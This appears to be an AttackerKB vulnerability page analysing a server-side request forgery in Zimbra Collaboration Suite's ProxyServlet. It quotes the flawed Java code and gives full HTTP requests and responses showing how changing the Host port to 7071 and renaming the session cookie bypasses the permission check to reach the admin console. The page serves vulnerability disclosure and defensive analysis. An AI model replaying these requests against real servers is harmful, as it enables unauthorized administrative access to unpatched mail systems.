High
Zimbra Collaboration Suite ProxyServlet SSRF
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below:
Add References:
High
(1 user assessed)Moderate
(1 user assessed)Unknown
Unknown
Unknown
Zimbra Collaboration Suite ProxyServlet SSRF
MITRE ATT&CK
Collection
Command and Control
Credential Access
Defense Evasion
Discovery
Execution
Exfiltration
Impact
Initial Access
Lateral Movement
Persistence
Privilege Escalation
Topic Tags
Description
Zimbra Collaboration Suite before 8.6 patch 13, 8.7.x before 8.7.11 patch 10, and 8.8.x before 8.8.10 patch 7 or 8.8.x before 8.8.11 patch 3 allows SSRF via the ProxyServlet component.
Add Assessment
Ratings
-
Attacker ValueHigh
-
ExploitabilityMedium
Technical Analysis
Details
According to the blog post A Saga of Code Executions on Zimbra by An Trinh the SSRF vulnerability occurs during the handling of ProxyServlet requests. The diff to fix the server side request forgery issues can be found in Zimbra’s github page for the zm-mailbox repository. The diff for ProxyServlet.java
moves a few checks outside of a conditional so that the checks are always performed.
The doProxy
function contains the vulnerable code. As described in the blog post user input is used to determine whether the request will be treated as an admin request. Line 188 in doProxy
calls isAdminRequest
:
186 private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException { 187 ZimbraLog.clearContext(); 188 boolean isAdmin = isAdminRequest(req); 189 AuthToken authToken = isAdmin ? 190 getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true); 191 if (authToken == null) { 192 String zAuthToken = req.getParameter(QP_ZAUTHTOKEN); 193 if (zAuthToken != null) {
The following is the isAdminRequest
:
180 protected boolean isAdminRequest(HttpServletRequest req) { 181 return req.getServerPort() == LC.zimbra_admin_service_port.intValue(); 182 }
The getServerPort
function returns the port number specified in the Host header and LC.zimbra_admin_service_port
is 7071. If a request is sent with port 7071 in the Host header then the isAdmin
variable will be set to true in doProxy
. After isAdmin
is set, an authentication token is read from the request. Since we want the request to be treated as an admin request we are interested in the getAdminAuthTokenFromCookie
function. The function ends up checking for a valid cookie with the ZM_ADMIN_AUTH_TOKEN
key. Note: A valid token is required but the key for the token should be changed to ZM_ADMIN_AUTH_TOKEN
when exploiting the SSRF vulnerability.
Lines 222-234 check for a proxy target and whether the request is allowed based on permissions:
222 // sanity check 223 String target = req.getParameter(TARGET_PARAM); 224 if (target == null) { 225 resp.sendError(HttpServletResponse.SC_BAD_REQUEST); 226 return; 227 } 228 229 // check for permission 230 URL url = new URL(target); 231 if (!isAdmin && !checkPermissionOnTarget(url, authToken)) { 232 resp.sendError(HttpServletResponse.SC_FORBIDDEN); 233 return; 234 }
On line 231 we can see that if the user is an admin then the request is allowed but if the user is not an admin then a permissions check will be performed. To test the described issue, we can construct requests. The following request uses a valid user (non-admin) cookie and contains a proxy request to the admin port:
POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1 Host: zimbra.mylocaldomain.local:8443 Cookie: ZM_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b; Content-Length: 0
The response from the previous request returns a forbidden message:
HTTP/1.1 403 Forbidden Date: Wed, 03 Apr 2019 11:54:45 GMT Content-Type: text/html;charset=iso-8859-1 Cache-Control: must-revalidate,no-cache,no-store Content-Length: 245 <html> <head> <meta http-equiv="Content-Type" content="text/html;charset=utf-8"/> <title>Error 403 Forbidden</title> </head> <body><h2>HTTP ERROR 403</h2> <p>Problem accessing /service/proxy. Reason: <pre> Forbidden</pre></p> </body> </html>
Next we modify the previous request, changing 8443 to 7071 and ZM_AUTH_TOKEN to ZM_ADMIN_AUTH_TOKEN, and resend it:
POST /service/proxy?target=https://127.0.0.1:7071/ HTTP/1.1 Host: zimbra.mylocaldomain.local:7071 Cookie: ZM_ADMIN_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b; Content-Length: 0
The response to the modified request does not contain a forbidden message this time and is instead a redirect the zimbraAdmin page:
HTTP/1.1 302 Found Date: Wed, 03 Apr 2019 11:57:52 GMT Content-Type: text/html;charset=utf-8 Date: Wed, 03 Apr 2019 11:57:52 GMT X-Frame-Options: SAMEORIGIN Expires: Tue, 24 Jan 2000 20:46:50 GMT Location: https://127.0.0.1:7071/zimbraAdmin Content-Length: 0
Would you also like to delete your Exploited in the Wild Report?
Delete Assessment Only Delete Assessment and Exploited in the Wild ReportCVSS V3 Severity and Metrics
General Information
Vendors
- zimbra
Products
- collaboration server,
- collaboration server 8.6.0,
- collaboration server 8.7.11,
- collaboration server 8.8.10,
- collaboration server 8.8.11
Exploited in the Wild
Would you like to delete this Exploited in the Wild Report?
Yes, delete this reportReferences
Additional Info
Technical Analysis
Report as Exploited in the Wild
CVE ID
AttackerKB requires a CVE ID in order to pull vulnerability data and references from the CVE list and the National Vulnerability Database. If available, please supply below: